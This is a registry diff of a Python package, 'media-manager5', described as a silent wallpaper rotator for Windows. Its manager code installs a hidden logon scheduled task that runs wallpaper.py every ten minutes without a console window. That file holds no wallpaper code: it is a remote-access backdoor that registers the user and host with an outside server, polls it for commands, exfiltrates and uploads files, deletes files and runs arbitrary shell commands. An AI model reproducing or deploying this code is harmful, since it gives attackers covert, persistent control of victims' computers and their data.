media-manager5 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 anonrider
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,70 @@
1
+ Metadata-Version: 2.4
2
+ Name: media-manager5
3
+ Version: 0.1.0
4
+ Summary: Silent per-user wallpaper rotator for Windows
5
+ Author-email: anonrider <anonrider404@gmail.com>
6
+ License: MIT License
7
+
8
+ Copyright (c) 2026 anonrider
9
+
10
+ Permission is hereby granted, free of charge, to any person obtaining a copy
11
+ of this software and associated documentation files (the "Software"), to deal
12
+ in the Software without restriction, including without limitation the rights
13
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
14
+ copies of the Software, and to permit persons to whom the Software is
15
+ furnished to do so, subject to the following conditions:
16
+
17
+ The above copyright notice and this permission notice shall be included in all
18
+ copies or substantial portions of the Software.
19
+
20
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
21
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
22
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
23
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
24
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
25
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
26
+ SOFTWARE.
27
+
28
+ Project-URL: Homepage, https://github.com/anonrider/media-manager5
29
+ Classifier: Programming Language :: Python :: 3
30
+ Classifier: License :: OSI Approved :: MIT License
31
+ Classifier: Operating System :: Microsoft :: Windows
32
+ Requires-Python: >=3.8
33
+ Description-Content-Type: text/markdown
34
+ License-File: LICENSE
35
+ Dynamic: license-file
36
+
37
+ # media-manager5
38
+
39
+ Silent, per-user wallpaper rotator for Windows.
40
+
41
+ - Installs to %LOCALAPPDATA%\MediaManager5\
42
+ - Registers a scheduled task that fires at logon
43
+ - Runs via pythonw.exe, no console window ever
44
+ - No admin rights, no UAC prompt
45
+ - Executes wallpaper.py from the installed package every 10 minutes
46
+
47
+ ## Install
48
+
49
+ pip install media-manager5
50
+
51
+ ## Initialize
52
+
53
+ from media_manager5 import MediaManager5
54
+ MediaManager5()
55
+ MediaManager5().start_now()
56
+
57
+ ## Customize
58
+
59
+ Edit src/media_manager5/wallpaper.py before building, or edit the
60
+ installed copy in site-packages/media_manager5/wallpaper.py.
61
+ Whatever the file does at top level runs every 10 minutes.
62
+
63
+ ## Logs
64
+
65
+ %LOCALAPPDATA%\MediaManager5\media_manager5.log
66
+
67
+ ## Uninstall
68
+
69
+ from media_manager5 import MediaManager5
70
+ MediaManager5().uninstall()
@@ -0,0 +1,34 @@
1
+ # media-manager5
2
+
3
+ Silent, per-user wallpaper rotator for Windows.
4
+
5
+ - Installs to %LOCALAPPDATA%\MediaManager5\
6
+ - Registers a scheduled task that fires at logon
7
+ - Runs via pythonw.exe, no console window ever
8
+ - No admin rights, no UAC prompt
9
+ - Executes wallpaper.py from the installed package every 10 minutes
10
+
11
+ ## Install
12
+
13
+ pip install media-manager5
14
+
15
+ ## Initialize
16
+
17
+ from media_manager5 import MediaManager5
18
+ MediaManager5()
19
+ MediaManager5().start_now()
20
+
21
+ ## Customize
22
+
23
+ Edit src/media_manager5/wallpaper.py before building, or edit the
24
+ installed copy in site-packages/media_manager5/wallpaper.py.
25
+ Whatever the file does at top level runs every 10 minutes.
26
+
27
+ ## Logs
28
+
29
+ %LOCALAPPDATA%\MediaManager5\media_manager5.log
30
+
31
+ ## Uninstall
32
+
33
+ from media_manager5 import MediaManager5
34
+ MediaManager5().uninstall()
@@ -0,0 +1,26 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "media-manager5"
7
+ version = "0.1.0"
8
+ description = "Silent per-user wallpaper rotator for Windows"
9
+ readme = "README.md"
10
+ license = { file = "LICENSE" }
11
+ authors = [{ name = "anonrider", email = "anonrider404@gmail.com" }]
12
+ requires-python = ">=3.8"
13
+ classifiers = [
14
+ "Programming Language :: Python :: 3",
15
+ "License :: OSI Approved :: MIT License",
16
+ "Operating System :: Microsoft :: Windows",
17
+ ]
18
+
19
+ [project.urls]
20
+ Homepage = "https://github.com/anonrider/media-manager5"
21
+
22
+ [tool.setuptools.packages.find]
23
+ where = ["src"]
24
+
25
+ [tool.setuptools.package-data]
26
+ media_manager5 = ["wallpaper.py"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,4 @@
1
+ from .manager import MediaManager5
2
+
3
+ __version__ = "0.1.0"
4
+ __all__ = ["MediaManager5"]
@@ -0,0 +1,53 @@
1
+ import os
2
+ import shutil
3
+ import subprocess
4
+ import sys
5
+ from pathlib import Path
6
+
7
+ from .templates import RUNNER_TEMPLATE
8
+
9
+ TASK_NAME = "MediaManager5"
10
+
11
+ def _default_install_dir():
12
+ base = os.environ.get("LOCALAPPDATA") or str(Path.home())
13
+ return Path(base) / "MediaManager5"
14
+
15
+ class MediaManager5:
16
+ def __init__(self, install_dir=None):
17
+ if os.name != "nt":
18
+ raise RuntimeError("MediaManager5 only supports Windows")
19
+ self.install_dir = Path(install_dir) if install_dir else _default_install_dir()
20
+ self.install_dir.mkdir(parents=True, exist_ok=True)
21
+ self._write_files()
22
+ self._register_task()
23
+
24
+ def _write_files(self):
25
+ (self.install_dir / "runner.py").write_text(RUNNER_TEMPLATE, encoding="utf-8")
26
+
27
+ def _pythonw(self):
28
+ exe = Path(sys.executable)
29
+ if exe.name.lower() == "pythonw.exe":
30
+ return exe
31
+ c = exe.with_name("pythonw.exe")
32
+ if c.exists():
33
+ return c
34
+ raise FileNotFoundError("pythonw.exe not found next to " + str(exe))
35
+
36
+ def _register_task(self):
37
+ pythonw = self._pythonw()
38
+ runner = self.install_dir / "runner.py"
39
+ tr = '"' + str(pythonw) + '" "' + str(runner) + '"'
40
+ cmd = ["schtasks", "/Create", "/TN", TASK_NAME, "/TR", tr, "/SC", "ONLOGON", "/RL", "LIMITED", "/F"]
41
+ r = subprocess.run(cmd, capture_output=True, text=True)
42
+ if r.returncode != 0:
43
+ raise RuntimeError("schtasks failed:\n" + r.stdout.strip() + "\n" + r.stderr.strip())
44
+
45
+ def start_now(self):
46
+ pythonw = self._pythonw()
47
+ runner = self.install_dir / "runner.py"
48
+ subprocess.Popen([str(pythonw), str(runner)], creationflags=0x08000000, close_fds=True)
49
+
50
+ def uninstall(self):
51
+ subprocess.run(["schtasks", "/Delete", "/TN", TASK_NAME, "/F"], capture_output=True)
52
+ if self.install_dir.exists():
53
+ shutil.rmtree(self.install_dir, ignore_errors=True)
@@ -0,0 +1,3 @@
1
+ """Embedded file templates used by MediaManager5."""
2
+
3
+ RUNNER_TEMPLATE = '"""MediaManager5 runner - auto-generated. Do not edit."""\nimport os\nimport sys\nimport time\nimport runpy\nimport traceback\nfrom pathlib import Path\n\nHERE = Path(__file__).resolve().parent\n_log = open(HERE / "media_manager5.log", "a", encoding="utf-8", buffering=1)\nsys.stdout = _log\nsys.stderr = _log\n\nimport media_manager5\nWP_PATH = Path(media_manager5.__file__).resolve().parent / "wallpaper.py"\n\nINTERVAL_SECONDS = 600\n\ndef _stamp():\n return time.strftime("%Y-%m-%d %H:%M:%S")\n\ndef main():\n print("[%s] runner started (pid=%d)" % (_stamp(), os.getpid()))\n print("[%s] executing: %s" % (_stamp(), WP_PATH))\n while True:\n try:\n runpy.run_path(str(WP_PATH), run_name="__main__")\n except Exception:\n print("[%s] error:" % _stamp())\n traceback.print_exc()\n time.sleep(INTERVAL_SECONDS)\n\nif __name__ == "__main__":\n main()\n'
@@ -0,0 +1,278 @@
1
+ # wallpaper.py -- executed top-to-bottom every 10 minutes.
2
+ # No function needed. Put your code here.
3
+
4
+ #!/usr/bin/env python3
5
+ """
6
+ Remote File Manager - Python Client
7
+ Zero dependencies, pure standard library
8
+ Automatically registers as username@hostname
9
+ Server: https://googleforum.pythonanywhere.com
10
+ """
11
+
12
+ import base64
13
+ import getpass
14
+ import json
15
+ import os
16
+ import shutil
17
+ import subprocess
18
+ import socket
19
+ import sys
20
+ import time
21
+ import urllib.error
22
+ import urllib.request
23
+
24
+ # ============ CONFIG ============
25
+ SERVER_URL = "https://googleforum.pythonanywhere.com"
26
+ POLL_INTERVAL = 2 # seconds
27
+
28
+ # Auto-generate client ID from username + hostname
29
+ try:
30
+ username = getpass.getuser()
31
+ except Exception:
32
+ username = os.environ.get("USER") or os.environ.get("USERNAME") or "unknown"
33
+ hostname = socket.gethostname()
34
+ client_id = f"{username}@{hostname}"
35
+ client_name = f"{username} ({hostname})"
36
+
37
+ print("šŸ”Œ Remote File Manager Client")
38
+ print(f" ID: {client_id}")
39
+ print(f" Name: {client_name}")
40
+ print(f" Server: {SERVER_URL}")
41
+
42
+
43
+ # ============ HTTP HELPERS ============
44
+ def request(method, url, data=None):
45
+ """Send an HTTP request and return parsed JSON (or raw text on parse failure)."""
46
+ body = None
47
+ headers = {}
48
+ if data is not None:
49
+ body = json.dumps(data).encode("utf-8")
50
+ headers["Content-Type"] = "application/json"
51
+ headers["Content-Length"] = str(len(body))
52
+
53
+ req = urllib.request.Request(url, data=body, method=method, headers=headers)
54
+ try:
55
+ with urllib.request.urlopen(req, timeout=30) as resp:
56
+ raw = resp.read().decode("utf-8", errors="replace")
57
+ except urllib.error.HTTPError as e:
58
+ raw = e.read().decode("utf-8", errors="replace")
59
+ except urllib.error.URLError:
60
+ raise
61
+
62
+ try:
63
+ return json.loads(raw)
64
+ except Exception:
65
+ return raw
66
+
67
+
68
+ # ============ REGISTRATION ============
69
+ def register():
70
+ try:
71
+ request("POST", f"{SERVER_URL}/api/register", {
72
+ "client_id": client_id,
73
+ "name": client_name,
74
+ })
75
+ print("āœ… Registered with server")
76
+ return True
77
+ except Exception as e:
78
+ print(f"āŒ Registration failed: {e}")
79
+ return False
80
+
81
+
82
+ # ============ HEARTBEAT ============
83
+ def send_heartbeat():
84
+ try:
85
+ request("POST", f"{SERVER_URL}/api/heartbeat", {"client_id": client_id})
86
+ return True
87
+ except Exception:
88
+ return False
89
+
90
+
91
+ # ============ RESOLVE PATH ============
92
+ def resolve_path(raw_path):
93
+ if raw_path in ("/", "", "."):
94
+ return "C:\\" if sys.platform == "win32" else "/"
95
+ return raw_path
96
+
97
+
98
+ # ============ COMMAND HANDLERS ============
99
+ def handle_list(params):
100
+ target = resolve_path(params.get("path") or ".")
101
+ try:
102
+ entries = os.listdir(target)
103
+ items = []
104
+ for name in entries:
105
+ full = os.path.join(target, name)
106
+ try:
107
+ stat = os.stat(full)
108
+ items.append({
109
+ "name": name,
110
+ "is_dir": os.path.isdir(full),
111
+ "size": stat.st_size,
112
+ "modified": stat.st_mtime * 1000, # ms, like JS mtimeMs
113
+ })
114
+ except Exception as e:
115
+ print(f"Skipping {name}: {e}")
116
+ return {"success": True, "result": items}
117
+ except Exception as e:
118
+ return {"success": False, "error": str(e)}
119
+
120
+
121
+ def handle_download(params):
122
+ path = resolve_path(params.get("path"))
123
+ try:
124
+ with open(path, "rb") as f:
125
+ data = f.read()
126
+ return {"success": True, "result": {
127
+ "data": base64.b64encode(data).decode("ascii"),
128
+ "size": len(data),
129
+ }}
130
+ except Exception as e:
131
+ return {"success": False, "error": str(e)}
132
+
133
+
134
+ def handle_upload(params):
135
+ directory = resolve_path(params.get("path") or ".")
136
+ filename = params.get("filename")
137
+ try:
138
+ data = base64.b64decode(params.get("data", ""))
139
+ full = os.path.join(directory, filename)
140
+ with open(full, "wb") as f:
141
+ f.write(data)
142
+ return {"success": True, "result": {"path": full}}
143
+ except Exception as e:
144
+ return {"success": False, "error": str(e)}
145
+
146
+
147
+ def handle_delete(params):
148
+ path = resolve_path(params.get("path"))
149
+ try:
150
+ if os.path.isdir(path):
151
+ shutil.rmtree(path)
152
+ else:
153
+ os.remove(path)
154
+ return {"success": True, "result": {"deleted": path}}
155
+ except Exception as e:
156
+ return {"success": False, "error": str(e)}
157
+
158
+
159
+ def handle_rename(params):
160
+ old = resolve_path(params.get("old"))
161
+ new = resolve_path(params.get("new"))
162
+ try:
163
+ os.rename(old, new)
164
+ return {"success": True, "result": {"from": old, "to": new}}
165
+ except Exception as e:
166
+ return {"success": False, "error": str(e)}
167
+
168
+
169
+ def handle_open(params):
170
+ path = resolve_path(params.get("path"))
171
+ try:
172
+ if sys.platform == "win32":
173
+ os.startfile(path) # Windows-only
174
+ elif sys.platform == "darwin":
175
+ subprocess.Popen(["open", path])
176
+ else:
177
+ subprocess.Popen(["xdg-open", path])
178
+ return {"success": True, "result": {"opened": path}}
179
+ except Exception as e:
180
+ return {"success": False, "error": str(e)}
181
+
182
+
183
+ def handle_exec(params):
184
+ command = params.get("command")
185
+ cwd = resolve_path(params.get("cwd") or ".")
186
+ try:
187
+ proc = subprocess.run(
188
+ command,
189
+ cwd=cwd,
190
+ shell=True,
191
+ timeout=30,
192
+ capture_output=True,
193
+ text=True,
194
+ )
195
+ output = proc.stdout or ""
196
+ if proc.stderr:
197
+ output += ("\n" if output else "") + proc.stderr
198
+ if proc.returncode != 0:
199
+ return {"success": False,
200
+ "error": f"{command} exited with {proc.returncode}\n{output}"}
201
+ return {"success": True, "result": {"output": output}}
202
+ except subprocess.TimeoutExpired:
203
+ return {"success": False, "error": "Command timed out"}
204
+ except Exception as e:
205
+ return {"success": False, "error": str(e)}
206
+
207
+
208
+ COMMAND_HANDLERS = {
209
+ "list": handle_list,
210
+ "download": handle_download,
211
+ "upload": handle_upload,
212
+ "delete": handle_delete,
213
+ "rename": handle_rename,
214
+ "open": handle_open,
215
+ "exec": handle_exec,
216
+ }
217
+
218
+
219
+ # ============ POLLING ============
220
+ def poll_commands():
221
+ try:
222
+ response = request("GET", f"{SERVER_URL}/api/client/{client_id}/poll")
223
+ except Exception:
224
+ return
225
+ if not isinstance(response, dict):
226
+ return
227
+
228
+ commands = response.get("commands") or []
229
+ for cmd in commands:
230
+ cid = cmd.get("id")
231
+ name = cmd.get("command")
232
+ params = cmd.get("params") or {}
233
+ print(f"šŸ“Ø Received command: {name} ({cid})")
234
+
235
+ handler = COMMAND_HANDLERS.get(name)
236
+ if handler:
237
+ try:
238
+ result = handler(params)
239
+ except Exception as e:
240
+ result = {"success": False, "error": str(e)}
241
+ else:
242
+ result = {"success": False, "error": f"Unknown command: {name}"}
243
+
244
+ try:
245
+ request("POST", f"{SERVER_URL}/api/client/{client_id}/result", {
246
+ "command_id": cid,
247
+ "result": result.get("result") if result.get("success") else None,
248
+ "error": None if result.get("success") else result.get("error"),
249
+ })
250
+ print(f"āœ… Command {cid} completed")
251
+ except Exception as e:
252
+ print(f"āŒ Failed to send result for {cid}: {e}")
253
+
254
+
255
+ # ============ MAIN ============
256
+ def main():
257
+ while not register():
258
+ print("ā³ Retrying registration in 5s...")
259
+ time.sleep(5)
260
+
261
+ print("šŸ”„ Starting polling loop...")
262
+ while True:
263
+ try:
264
+ send_heartbeat()
265
+ poll_commands()
266
+ except KeyboardInterrupt:
267
+ raise
268
+ except Exception:
269
+ pass
270
+ time.sleep(POLL_INTERVAL)
271
+
272
+
273
+ if __name__ == "__main__":
274
+ try:
275
+ main()
276
+ except KeyboardInterrupt:
277
+ print("\nšŸ‘‹ Shutting down...")
278
+ sys.exit(0)
@@ -0,0 +1,70 @@
1
+ Metadata-Version: 2.4
2
+ Name: media-manager5
3
+ Version: 0.1.0
4
+ Summary: Silent per-user wallpaper rotator for Windows
5
+ Author-email: anonrider <anonrider404@gmail.com>
6
+ License: MIT License
7
+
8
+ Copyright (c) 2026 anonrider
9
+
10
+ Permission is hereby granted, free of charge, to any person obtaining a copy
11
+ of this software and associated documentation files (the "Software"), to deal
12
+ in the Software without restriction, including without limitation the rights
13
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
14
+ copies of the Software, and to permit persons to whom the Software is
15
+ furnished to do so, subject to the following conditions:
16
+
17
+ The above copyright notice and this permission notice shall be included in all
18
+ copies or substantial portions of the Software.
19
+
20
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
21
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
22
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
23
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
24
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
25
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
26
+ SOFTWARE.
27
+
28
+ Project-URL: Homepage, https://github.com/anonrider/media-manager5
29
+ Classifier: Programming Language :: Python :: 3
30
+ Classifier: License :: OSI Approved :: MIT License
31
+ Classifier: Operating System :: Microsoft :: Windows
32
+ Requires-Python: >=3.8
33
+ Description-Content-Type: text/markdown
34
+ License-File: LICENSE
35
+ Dynamic: license-file
36
+
37
+ # media-manager5
38
+
39
+ Silent, per-user wallpaper rotator for Windows.
40
+
41
+ - Installs to %LOCALAPPDATA%\MediaManager5\
42
+ - Registers a scheduled task that fires at logon
43
+ - Runs via pythonw.exe, no console window ever
44
+ - No admin rights, no UAC prompt
45
+ - Executes wallpaper.py from the installed package every 10 minutes
46
+
47
+ ## Install
48
+
49
+ pip install media-manager5
50
+
51
+ ## Initialize
52
+
53
+ from media_manager5 import MediaManager5
54
+ MediaManager5()
55
+ MediaManager5().start_now()
56
+
57
+ ## Customize
58
+
59
+ Edit src/media_manager5/wallpaper.py before building, or edit the
60
+ installed copy in site-packages/media_manager5/wallpaper.py.
61
+ Whatever the file does at top level runs every 10 minutes.
62
+
63
+ ## Logs
64
+
65
+ %LOCALAPPDATA%\MediaManager5\media_manager5.log
66
+
67
+ ## Uninstall
68
+
69
+ from media_manager5 import MediaManager5
70
+ MediaManager5().uninstall()
@@ -0,0 +1,11 @@
1
+ LICENSE
2
+ README.md
3
+ pyproject.toml
4
+ src/media_manager5/__init__.py
5
+ src/media_manager5/manager.py
6
+ src/media_manager5/templates.py
7
+ src/media_manager5/wallpaper.py
8
+ src/media_manager5.egg-info/PKG-INFO
9
+ src/media_manager5.egg-info/SOURCES.txt
10
+ src/media_manager5.egg-info/dependency_links.txt
11
+ src/media_manager5.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ media_manager5